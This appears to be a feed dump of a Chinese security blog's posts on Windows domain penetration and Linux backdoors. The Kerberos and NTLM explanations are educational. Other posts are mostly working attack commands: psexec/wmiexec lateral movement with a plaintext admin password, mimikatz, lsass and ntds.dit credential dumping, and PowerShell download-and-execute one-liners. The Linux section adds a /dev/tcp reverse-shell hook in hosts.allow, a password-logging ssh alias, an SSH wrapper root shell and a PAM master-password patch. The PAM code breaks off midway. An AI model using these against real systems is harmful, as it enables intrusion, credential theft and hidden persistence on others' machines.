13
14
PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file XUUaBGPx.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service eQxj on 192.168.10.201.....
[*] Starting service eQxj.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7601]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>

或者直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#[email protected] whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file ktRkscJe.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service YvrT on 192.168.10.201.....
[*] Starting service YvrT.....
[!] Press help for extra shell commands
nt authority\system
[*] Process whoami finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 192.168.10.201.....
[*] Stopping service YvrT.....
[*] Removing service YvrT.....
[*] Removing file ktRkscJe.exe.....
  • wmiexec.py
1
wmiexec.py <域>/administrator:<密码>@192.168.10.201 <命令/也可留空返回伪交互shell>
1
2
3
4
5
PS C:\Users\AresX> wmiexec.py de1ay/administrator:2wsx#[email protected] whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv2.1 dialect used
de1ay\administrator
]]>
<blockquote> <p><a href="https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE
域渗透学习(四)Dump Password & Hash https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E5%9B%9B%EF%BC%89Dump-Password-Hash/ 2020-03-21T06:34:34.000Z 2023-12-24T09:01:53.761Z

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集

Dump Password & Hash

目的:获取windows用户密码或者Hash,用于远程登录域内其他机器,或进行后续的哈希传递和票据传递攻击

mimikatz

  • 注册表读密码

  • 1
    2
    reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv
    reg save HKLM\SAM C:\windows\temp\Sam.hiv
    1
    2
    3
    4
    privilege::debug
    sekurlsa::logonpasswords
    # mimikatz运行解密命令
    lsadump::sam /sam:Sam.hiv /system:Sys.hiv
  • 内存读取密码

    1
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

    或者使用procdump来绕过杀软对mimikatz拦截

    1
    2
    3
    4
    procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
    # mimikatz运行解密命令
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

Powershell调用

  • mimikatz

    1
    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

  • nishang

    1
    powershell IEX (New-Object Net.WebClient).DownloadString(‘https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHashes.ps1');Get-PassHashes

MSF

  • mimikatz模块

    1
    2
    3
    load mimikatz
    wdigest //获取明文密码
    msv //获取所有Hash


  • hashdump

    1
    hashdump

WCE

1
wce -l

获取Krbtgt用户Hash

  • DCSync (mimikatz)

    mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

    1
    lsadump::dcsync /user:krbtgt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    mimikatz # lsadump::dcsync /user:krbtgt
    [DC] 'de1ay.com' will be the domain
    [DC] 'DC.de1ay.com' will be the DC server
    [DC] 'krbtgt' will be the user account

    Object RDN : krbtgt

    ** SAM ACCOUNT **

    SAM Username : krbtgt
    Account Type : 30000000 ( USER_OBJECT )
    User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
    Account expiration :
    Password last change : 2019/9/9 10:44:59
    Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
    Object Relative ID : 502

    Credentials:
    Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb
    ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb
    lm - 0: 9b5cd36575630d629f3aa6d769ec91c3

    Supplemental Credentials:
    * Primary:Kerberos-Newer-Keys *
    Default Salt : DE1AY.COMkrbtgt
    Default Iterations : 4096
    Credentials
    aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
    aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f
    des_cbc_md5 (4096) : 79c8dc79fe467552

    * Primary:Kerberos *
    Default Salt : DE1AY.COMkrbtgt
    Credentials
    des_cbc_md5 : 79c8dc79fe467552

    * Packages *
    Kerberos-Newer-Keys

    * Primary:WDigest *
    01 6486daf200f85102b9a66f0bb698f964
    02 618b4df7c8262508a26641b5271693fe
    03 657b7f6a13829e21c18da26ee927dd7a
    04 6486daf200f85102b9a66f0bb698f964
    05 618b4df7c8262508a26641b5271693fe
    06 6702b7e06d68443bbd003fa1fd2ad6c2
    07 6486daf200f85102b9a66f0bb698f964
    08 5057528d4ee40f9ffda5ab89fc76e45c
    09 5057528d4ee40f9ffda5ab89fc76e45c
    10 ec101c8f1831c5ddefbcdabf2d854077
    11 48c89ab471a5a096c8895ca7c9fb8098
    12 5057528d4ee40f9ffda5ab89fc76e45c
    13 f63f9768f77b7a60dd75f79b210d31c5
    14 48c89ab471a5a096c8895ca7c9fb8098
    15 334888d42cd914936f94d6c2875f77a3
    16 334888d42cd914936f94d6c2875f77a3
    17 930580b0e2523dbc40d8b34efc9a83d1
    18 d7bb3256dc319c0a9bdbff3ef0b3d618
    19 120122f0735a3841c210d145d092d0fc
    20 d371f34cf41adb5a09c8507a94066c48
    21 61b1669bec1aa4a9873703229854e57d
    22 61b1669bec1aa4a9873703229854e57d
    23 963efa120b17bf8ea89eb2906fdf0092
    24 8a015afc23c33423a0557e59bd6d573c
    25 8a015afc23c33423a0557e59bd6d573c
    26 a1fa583bfc8008249d6649630aada4a0
    27 c13cf2b5ecb0894a09f8dd0831732da4
    28 679145bff502118a02f6f3af19067da2
    29 e371aa57cba0556074c58686ef433c30

    或者在 meterpreter 中使用 kiwi 扩展

    1
    dcsync_ntlm krbtgt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    meterpreter > getuid
    Server username: DE1AY\Administrator
    meterpreter > load kiwi
    Loading extension kiwi...
    .#####. mimikatz 2.1.1 20180925 (x86/windows)
    .## ^ ##. "A La Vie, A L'Amour"
    ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
    ## \ / ## > http://blog.gentilkiwi.com/mimikatz
    '## v ##' Vincent LE TOUX ( [email protected] )
    '#####' > http://pingcastle.com / http://mysmartlogon.com ***/

    Success.
    meterpreter > dcsync_ntlm krbtgt
    [+] Account : krbtgt
    [+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
    [+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3
    [+] SID : S-1-5-21-2756371121-2868759905-3853650604-502
    [+] RID : 502

  • LSA(mimikatz)

    mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

    1
    2
    privilege::debug
    lsadump::lsa /inject /name:krbtgt
  • Hashdump(Meterpreter)

导出域Hash

Windows的密码是经过hash后存储的,本地存放在hklm\sam以及hklm\system注册表中,域里面是存放在域控制器的c:\windows\ntds\ntds.dit中
创建快照

1
ntdsutil snapshot "activate instance ntds" creat quit quit


挂载快照

1
ntdsutil snapshot "mount {快照id}" quit quit

复制ntds.dit到本地:

1
copy 装载位置\windows\NTDS\ntds.dit C:\ntds.dit

解除挂载:

1
ntdsutil snapshot "unmount {快照id}" quit quit

删除快照:

1
ntdsutil snapshot "delete {快照id}" quit quit

开始解密,首先通过注册表的方式获取KEY

1
reg save HKLM\SYSTEM c:\windows\temp\sys.hiv

获取到ntds.dit和system.hiv之后 便可以使用工具导出域内所有用户的哈希

  • QuarksPwDump

    1
    QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\sys.hiv -o c:\pass.txt
  • impacket

    1
    2
    pip3 install impacket
    python secretsdump.py -ntds ntds.dit -system sys.hiv LOCAL

哈希破解

在线工具

https://www.cmd5.com/

https://crack.sh/get-cracking/

http://hashcrack.com/index.php

http://cracker.offensive-security.com/index.php

http://www.objectif-securite.ch/en/ophcrack.php

离线工具

  • jhon
  • hashcat
]]>
<blockquote> <p><a href="https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE
域渗透学习(三)域内信息搜集 https://ares-x.com/2020/03/18/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%89%EF%BC%89%E5%9F%9F%E5%86%85%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/ 2020-03-18T08:19:30.000Z 2023-12-24T09:01:53.818Z

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议

域内信息搜集

目标:判断域环境,定位域控制器的IP地址,获取域内其他成员机器的信息

DOS命令

1
net time /domain

通过查询时间服务器判断是否存在域

一般时间服务器就是域控机器,可以ping获取其IP

1
ipconfig /all

通过DNS后缀判断是否存在域

1
nltest /domain_trusts /all_trusts /v /server:<域控ip> //查询信任域

1
nltest /dsgetdc:<域名> /server:<域控ip> //查询域详细信息

1
查询域内各种资源服务器: setspn -T <域名> -Q */* | findstr <过滤字符串/可不加>

1
2
net group "domain controllers" /domain //得到域控制器主机名

1
2
3

net group "domain admins" /domain //查询域管理用户

1
2
net group "domain controllers" /domain  //查询域控制器

1
2
net group "domain computers" /domain  /查询域机器

1
net group /domain  //查询域里面的组

1
net user /domain  //查询域用户列表

1
net view   //查看当前域内机器列表

1
2
net view \\ip //查看某ip开启的共享
net view \\主机名 //查看主机的共享资源列表

只开启默认共享的情况下列表为空

1
net view /domain //查看内网存在多少个域

1
net view /domain:XXX //查看XXX域中的机器列表

1
wmic useraccount get Caption,sid //获取域内所有用户sid

1
csvde -setspn <域名> -f c:\windows\temp\xxx.csv 导出域详细信息:(winserver 2008内置工具,安装了AD DS或者Active Directory轻型目录服务服务器角色则此功能可用)

外部工具

1
nbtscan.exe 192.168.10.0/24 //扫描内网存活机器,如果开启了防火墙无法被扫描到

1
dnsdump.exe -u <域名>\<用户名> -p <用户密码>  -r <域控主机名> //dump域内dns记录,导出文件名为record.scv


BloodHound

https://github.com/BloodHoundAD/BloodHound/releases

BloodHound是一款域内信息收集分析工具,可以以图形化的方式将获取到的信息展示出来

以Mac的安装方式为例:其他系统可参考官方wiki

releases页面中可下载Mac的发布版本

下载neo4j数据库

https://neo4j.com/download-center/?ref=web-product-database/#community

解压后在bin目录执行启动程序

1
2
chmod +x neo4j
./neo4j start

neo4j需要java11 才可运行,否则会出现Unable to find any JVMs matching version "11".

Mac同时安装JDK11和JDK8,JDK11将成为Jar Launcher默认使用的版本,导致burpsuite无法正常运行

可编辑 neo4j启动程序, 在文件头部添加下列代码来指定使用jdk11,参考这里来避免JDK11 成为Jar Launcher默认使用的java版本

1
2
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-11.0.5.jdk/Contents/Home
JAVA=$JAVA_HOME/bin/java

浏览器访问127.0.0.1:7474 修改默认密码(初始neo4j/neo4j)

修改完成后启动之前下载的BloodHound程序,输入用户名密码登录

此时配置完成,下一步进行数据采集

下载数据采集器: https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors

以可执行程序版本SharpHound.exe为例

下载后复制到域内机器上执行SharpHound.exe -c all

执行完成后会将所有信息打包成zip

SharpHound需要.net环境,这点很蛋疼,如果目标机器权限较低没有.net环境并且无法引入powershell模块,那SharpHound基本没用了

获取到数据后复制到装有BloodHound到机器上,点击upload 上传压缩包文件

完成后会显示上传的数据信息

点击queries进入查询模块

预置的查询条件有12个,分别为:

1
2
3
4
5
6
7
8
9
10
11
12
查询所有域管理员
查询到达域管的最短路径
寻找具有DCSync权限的主体
具有外部域组成员身份的用户
具有外部组成员身份的组
域信任地图
到达无约束委派系统的最短路径
到达Kerberoastable用户的最短路径
从Kerberoastable用户到域管理员的最短路径
到达自拥有主体的最短路径
从拥有的主体到域管理员的最短路径
到达高价值目标的最短路径

选择查询模块后会出现对应的拓扑图

点击拓扑图上的节点将出现节点的详细信息

]]>
<blockquote> <p><a href="https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE
域渗透学习(二)Kerberos协议 https://ares-x.com/2020/03/17/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%BA%8C%EF%BC%89Kerberos%E5%8D%8F%E8%AE%AE/ 2020-03-17T04:47:13.000Z 2023-12-24T09:01:53.774Z

域渗透学习(一)Windows身份认证

Kerberos认证协议

上一篇提到了域内身份认证是采用的Kerberos协议,那么具体的认证流程是怎样的?

需要了解的几个概念

  • KDC(Key Distribution Center):密钥分发中心,里面包含两个服务:AS和TGS
  • AS(Authentication Server):身份认证服务
  • TGS(Ticket Granting Server):票据授予服务,该服务提供的票据也称为 TGS 或者叫白银票据
  • TGT(Ticket Granting Ticket):由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时

关于下文需要记住的一些点

Client 密钥 TGS密钥 和 Service 密钥 均为对应用户的NTLM Hash

TGS密钥 == KDC Hash == krbtgt用户的NTLM Hash,这几个可能有时候叫法不一样但是是一个东西

Server 和 Service 也可以当作一个东西,就是Client想要访问的服务器或者服务

Client/(TGS/Server) Sessionkey 可以看作客户端与TGS服务和尝试登陆的Server之间会话时用来加密的密钥,而(Client/TGS/Service)密钥(上面提到的三个实际为NTLM Hash的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密

也就是说,参与认证的三个角色的NTLM Hash是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥Sessionkey的安全传输

后面的描述可以看完具体认证流程再回来看

然后Service 和 TGS 通过对TGT 和 Ticket (TGT 和 Ticket中包含会话密钥Sessionkey和客户端的身份信息)使用自己的NTLM Hash进行解密获取到会话密钥,再使用这个会话密钥解密客户端通过这个会话密钥加密发来的验证信息

通过解密客户端发来的验证信息,可以得到客户端的身份验证信息,再与使用自己的NTLM Hash进行解密TGT或者Ticket得到的客户端身份信息进行比较来完成对客户端身份的验证

TGT或Ticket 是由KDC使用TGS密钥和Service密钥进行加密的(上文讲到KDC可以从AD数据库中提取这三个东西),但是Client因为没有这两个密钥所以无法解密与修改。KDC将一份会话密钥通过Client的密钥加密发送给Client,另一份放在TGT中和客户端身份信息一起通过TGS的密钥进行加密也发送给Client

Client可以使用自己的密钥解密第一份会话密钥,然后用这个会话密钥来加密一份自己的身份信息,再把加密的身份信息和TGT一起发送给KDC,KDC此时如果能使用自己的TGS密钥来成功解密TGT,说明这个TGT是可信任的,因为Client无法修改TGT,然后再用这个TGT中的会话密钥来解密客户端发来的身份信息,与解密TGT得到的身份信息进行比对,如果能成功解密并且比对成功,说明这个Client是可信任的

Server端认证跟上面是一样的

再说个更简单易懂的例子(编个故事):戏说地狱三头犬

1.用户登陆

  • 用户输入 [用户名][密码] 信息
  • 在客户端,用户输入的 [密码] 通过计算生成NTLM哈希作做为 [Client密钥]

2.请求身份认证

2.1 客户端向AS(身份认证服务)发送认证请求

  • 客户端向AS发送认证请求,请求中带有明文的 [用户名] 信息

此时并未发送[密码]或[密钥]信息

2.2 AS确认Client端登录者用户身份

  1. AS收到用户认证请求之后,根据请求中的 用户名 信息,从数据库中查找该用户名是否存在。

  2. 如果 用户名 存在,则根据该用户名提取NTLM Hash做为AS生成的Client 密钥,如果第1步中用户提供的 密码 信息正确,该秘钥与用户登录中的 Client密钥 是相等的。

  3. AS为Client响应如下消息:

    • Msg A 使用 KDC生成的Client密钥 加密的Client/TGS SessionKey
    • Msg B 使用 TGS密钥 加密的**TGT(Ticket-Granting-Ticket)**,客户端没有KDC NTLM Hash因此Client无法解密TGT。
      TGT中包含如下信息:
      • [Client/TGS SessionKey]
      • Client ID
      • Ticket有效时间
      • CLient 地址
  4. Client收到AS的响应消息以后,利用自身的 Client密钥 可以对Msg A进行解密,这样可以获取到 Client/TGS SessionKey 。但由于Msg B是使用 TGS密钥 加密的,Client无法对其解密。

  • AS响应的消息中有一条是属于Client的,但另外一条却属于TGS。
  • Client/TGS SessionKey出现了两个Copy,一个给Client端,一个给TGS端。
  • 认证过程中的加密除哈希外均采用的是对称加密算法。

3. 请求服务授权

3.1 客户端向TGS发送请求服务授权请求

客户端发送的请求中包含如下两个消息:

  • Msg C
    • 要请求的服务ID, 即[Service ID]
    • 上一步2.2中由AS为Client提供的TGT。
  • Msg D
    • 使用 Client/TGS SessionKey 加密的Authenticator 1 {Client ID, Timestamp}。

KDC接收到TGT与其他内容后,会首先使用KDC 的NTLM Hash解密TGT,只有KDC可以解密TGT,从TGT中提取到 Client/TGS SessionKey ,再使用 Client/TGS SessionKey 解密Authenticator 1,获取到{Client ID, Timestamp} 并与通过解密TGT获取到的{Client ID, 有效时间}进行对比

3.2 TGS为Client响应服务授权票据

TGS为Client响应的消息包括:

  • Msg E 使用 Service密钥(服务器的NTLMHash) 加密的 Client-To-Server Ticket , 该Ticket中包含了如下信息:

    • [Client/Server SessionKey]
    • Client网络地址
    • Ticket有效时间
    • Client ID
  • Msg F 使用 Client/TGS SessionKey 加密的 Client/Server SessionKey

Msg F使用了 Client/TGS SessionKey 加密,因此,该消息对Client可见。Client对其解密以后可获取到 Client/Server SessionKey
而Msg E使用了 [Service密钥] 加密,该消息可视作是TGS给Service Server的消息,只不过由Client一起携带发送给Service Server

4.发送服务请求

4.1 Client向Service Server发送服务请求

发送的消息中包括:

  • Msg E 上一步3.2中,TGS为Client响应的消息Msg E。该消息可以理解为由Client携带的消息。
  • Msg G 由[Client/Server SessionKey]加密的Authenticator 2,包含{Client ID, Timestamp}信息。
  1. Client/Server SessionKey 并非直接传输,而是被包含在使用[Service密钥]加密的Msg E中。
  2. 既然 [Client/Server SessionKey] 并不直接明文传输, Client需要向Service Server证明自己拥有正确的 Client/Server SessionKey ,所以,Authenticator 2使用了 Client/Server SessionKey 加密。

4.2 SS响应Client

SS收到客户端的服务请求之后,先利用自身的 [Service密钥] 对Msg E进行解密,提取出Client-To-Server Ticket, 在3.2步骤中,提到了该Ticket中包含了 Client/Server SessionKey 以及Client ID信息。

SS使用 Client/Server SessionKey 解密Msg G,提取Client ID信息,而后将该Client ID与Client-To-Server Ticket中的Client ID进行比对,如果匹配则说明Client拥有正确的 Client/Server SessionKey

而后,SS向Client响应Msg H(包含使用 Client/Server SessionKey 加密的Timestamp信息)。

Client收到SS的响应消息Msg H之后,再使用 Client/Server SessionKey 对其解密,提取Timestamp信息,然后确认该信息与Client发送的Authenticator 2中的Timestamp信息一致。

如上信息可以看出来,该交互过程起到了Client与SS之间的“双向认证”作用。

认证流程中需要关注的点,票据伪造的原理

  • 2.2 AS确认Client端登录者用户身份

    • KDC返回的Msg B:使用 TGS密钥(KDCHash/krbtgt用户NTLMHash) 加密的TGT(Ticket-Granting-Ticket),当我们获取到krbtgt用户的NTLM哈希后,便可主动使用krbtgt用户的NTLM哈希做为TGS密钥来生成TGT发送给KDC,这样KDC如果通过解密伪造TGT获取到伪造的 [Client/TGS SessionKey] 可以成功解密 Authenticator 1 并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据
  • 4.1 Client向SS(Service Server)发送服务请求

    • 客户端向服务器发送的为使用 Service密钥(服务器的NTLMHash) 加密的 Client-To-Server Ticket Ticket中包含用来供服务器解密Authenticator 2的 Client/Server SessionKey 。如果获取到了Service Server的NTLM Hash,便可伪造Ticket,和Authenticator 2 ,Service Server在接收到Ticket和Authenticator 2后可以使用自己的NTLM Hash正常解密完成比对,也就是成功伪造了白银票据

关于Service Hash,Service Hash其实是目标中一个用户名与hostname相同的用户的Hash
如hostname为PC-WIN7的服务器,对应的Hash就是Username : PC-WIN7$的哈希

参考:http://www.nosqlnotes.com/technotes/kerberos-protocol/

]]>
<blockquote> <p><a href="https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE
域渗透学习(一)Windows认证机制 https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6/ 2020-03-16T12:51:56.000Z 2023-12-24T09:01:53.834Z Windows认证机制

阅读本文前需要补充的知识:域的基本概念,域环境与工作组环境的区别

何谓域渗透,域渗透就是基于windows域环境的渗透,而域渗透设计到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一

Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)

本地认证

本地认证十分简单:用户输入密码,系统收到密码后将用户输入的密码计算成NTLM Hash,然后与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败

这里提到的NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中,对于这个概念一定要牢牢记住,因为后面NTLM Hash会经常出现

大致的运算流程为:

1
用户密码->HEX编码->Unicode编码->MD4

用python计算密码’admin’的NTLM哈希:

NTLM Hash的前身是LM Hash,由于存在安全缺陷已经被淘汰,无需做过多的了解,知道有这个东西即可

本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对

我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的

网络认证 Net NTLM

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制

NTLM协议的认证过程分为三步,也叫挑战相应机制:

  1. 协商
  2. 质询
  3. 验证

协商:双方确定使用的协议版本,NTLM存在V1和V2两个版本,具体区别就是加密方式不同,不用管

质询:挑战(Chalenge)/响应(Response)认证机制的核心

1.客户端向服务器端发送用户信息(用户名)请求

2.服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为“Challenge”, 然后使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge(16位随机字符)发送给客户端。

3.客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。

验证:在质询完成后,验证结果,是认证的最后一步。

服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过

其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)

简单的来说:客户端向服务器请求使用某个用户进行验证,服务端判断该用户是否存在,存在的话使用这个用户密码的哈希值来加密一个随机字符串,并且将这个随机字符串返回给客户端,客户端再把自己提供的密码进行哈希处理后也来加密这串随机字符串,然后再把结果发送给服务器,服务器把从客户端发送的加密结果与自己本地的加密结果进行比较,相同的话便通过认证

其中的关键点在于:第二步中客户端发送的是NTLM哈希值与随机字符串加密的结果,而这个NTLM哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的NTLM哈希即使不知道正确的密码也可通过认证

再举个简单的例子,渗透某个站点,通过sql注入获取到了用户数据库,然后发现数据库中的管理员密码是md5加密的而且无法解开,但是这时候发现在前端登录时,也会将你输入的密码进行md5加密,也就是说后端是对比两个md5值是否相同,那我如果知道密码的md5值就能直接登录了,干嘛还要去解开呢?

工作组环境和域环境下Net NTLM认证过程因为有DC(域控制器)的参与流程略有差异,不过不影响我们进行哈希传递攻击

域认证(Kerberos)

域内认证即采用了Kerberos协议的认证机制,与前两者相比最大的区别是有个一个可信的第三方机构KDC的参与

参与域认证的三个角色:

  • Client
  • Server
  • KDC(Key Distribution Center) = DC(Domain Controller) = AD(Account Database)+ AS(Authenication Service)+ TGS(Ticket Granting Service)

AD,全称叫account database,存储域中所有用户的用户名和对应的NTLM Hash,可以理解为域中的SAM数据库,KDC可以从AD中提取域中所有用户的NTLM Hash,这是Kerberos协议能够成功实现的基础。

从物理层面看,AD与AS,TGS,KDC均为域控制器(Domain Controller)。

Kerberos认证协议的基础概念:

票据(Ticket):是网络对象互相访问的凭证。

TGT(Ticket Granting Ticket):看英文名就知道,用来生成Ticket的Ticket,Ticket的爹。

KDC负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务组成:

Authentication Service: 简称AS,为Client生成TGT的服务,也用来完成对Client的身份验证

Ticket Granting Service: 为Client生成允许对某个服务访问的ticket,就是Client从AS那里拿到TGT之后,来TGS这里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,Client才有权限去访问对应的服务

Kerbreros认证流程

Kerbroes认证流程有些繁琐:

Client向KDC发起服务请求,希望获取访问Server的权限。 KDC得到了这个消息,首先得判断Client是否是可信赖的, 也就是从AD数据库中寻找该用户是否可用来登录。这就是AS服务完成的工作,成功后,AS返回TGT给Client。

Client得到了TGT后,继续向KDC请求,希望获取访问Server的权限。KDC又得到了这个消息,这时候通过Client 消息中的TGT,判断出了Client拥有了这个权限,给了Client访问Server的权限Ticket。(TGS服务的任务)

Client得到Ticket后便可以使用这个Ticket成功访问Server。但是这个Ticket只能用来访问这个Server,如果要访问其他Server需要向KDC重新申请。

Kerberos由于容易让人看困,后面单独再拿出一章来讲

参考:https://payloads.online/archivers/2018-11-30/1

]]>
<h1 id="Windows认证机制"><a href="#Windows认证机制" class="headerlink" title="Windows认证机制"></a>Windows认证机制</h1><blockquote> <p>阅读本文前需要补充的知识:域的基本概念,域
Linux后门 https://ares-x.com/2020/03/13/Linux%E5%90%8E%E9%97%A8%E6%8A%80%E6%9C%AF/ 2020-03-13T04:18:24.000Z 2023-12-24T09:01:53.766Z Backdoor

alias后门 ssh密码记录

1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh’


后门将终端的输入输出(输入的ssh地址账号密码)和连接信息保存到/tmp/sshpwd-日期.log中

1
cat /tmp/sshpwd-xxx.log


Tcp Wrapper

1
echo ‘ALL: ALL: spawn (bash -c “/bin/bash -i >& /dev/tcp/192.168.10.1/37789 0>&1”) & :allow’ > /etc/hosts.allow 

ssh 连接目标可触发后门回连

软链接SSH后门

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

执行完成后可使用任意密码ssh连接目标机器31337 端口

重启失效

SSH Wrapper后门

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下

分析:

1
exec"/bin/sh"if(getpeername(STDIN)=~/^.. 4A /);

如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是13377(4A是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行,相当于反弹一个root shell (sshd是root权限运行的)

1
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd

这一行保证了普通用户也可以正常使用ssh 服务
连接后门:

1
socat STDIO TCP4:target_ip:22,sourceport=13377;

将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334

这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell

无额外端口,隐蔽性较好

PAM后门

可以简单理解为劫持系统的身份认证机制
测试机器ubuntu
首先判断当前安装的pam版本

下载解压对应版本的pam源码 http://www.linux-pam.org/library/

之后修改两处代码

1
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

第一处
pam_sm_authenicate()函数处,添加FILE *fp

第二处

pam_sm_authenicate()函数尾部

1
2
3
4
5
6
7
8
9
10
11
//add password "test"
if (strcmp(p,"test") == 0){
return PAM_SUCCESS;
}

//save password to /etc/pam.txt
if (retval == PAM_SUCCESS){
fp = fopen("/etc/pam.txt","a");
